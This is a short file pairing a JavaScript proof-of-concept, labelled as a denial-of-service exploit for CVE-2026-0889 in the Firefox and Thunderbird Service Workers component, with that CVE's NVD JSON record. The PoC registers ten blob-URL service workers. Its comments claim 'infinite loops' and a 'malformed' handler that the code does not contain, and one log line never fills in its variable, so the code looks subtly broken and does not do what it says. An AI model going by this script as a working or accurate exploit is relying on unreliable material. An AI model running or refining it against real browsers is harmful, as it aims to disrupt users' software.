CVE-2026-0889

// CVE-2026-0889 PoC - Service Workers DoS // This PoC demonstrates the Service Workers DoS vulnerability // Note: For authorized security testing only (async function() { console.log('Starting Service Workers DoS test...'); // Register multiple Service Workers with infinite loops async function registerWorker(index) { const swCode = ` self.addEventListener('install', event => { // Potentially problematic install handler console.log('SW ${index} installing'); self.skipWaiting(); }); self.addEventListener('activate', event => { console.log('SW ${index} activating'); event.waitUntil(clients.claim()); }); self.addEventListener('fetch', event => { // Malformed fetch handler that could cause DoS event.respondWith(new Response('Loop', { status: 200, headers: { 'Content-Type': 'text/html' } })); }); `; const blob = new Blob([swCode], { type: 'application/javascript' }); const swUrl = URL.createObjectURL(blob); try { await navigator.serviceWorker.register(swUrl, { scope: `/sw-${index}/` }); console.log('Service Worker ${index} registered'); } catch (error) { console.error('Registration failed:', error); } } // Register multiple workers to stress test for (let i = 0; i < 10; i++) { await registerWorker(i); await new Promise(r => setTimeout(r, 100)); } console.log('Service Workers DoS test initiated'); })();

{"cve": {"id": "CVE-2026-0889", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:39.437", "lastModified": "2026-04-13T15:17:18.280", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial-of-service in the DOM: Service Workers component. This vulnerability was fixed in Firefox 147 and Thunderbird 147."}, {"lang": "es", "value": "Denegación de servicio en el DOM: componente Service Workers. Esta vulnerabilidad afecta a Firefox &lt; 147 y Thunderbird &lt; 147."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1999084", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}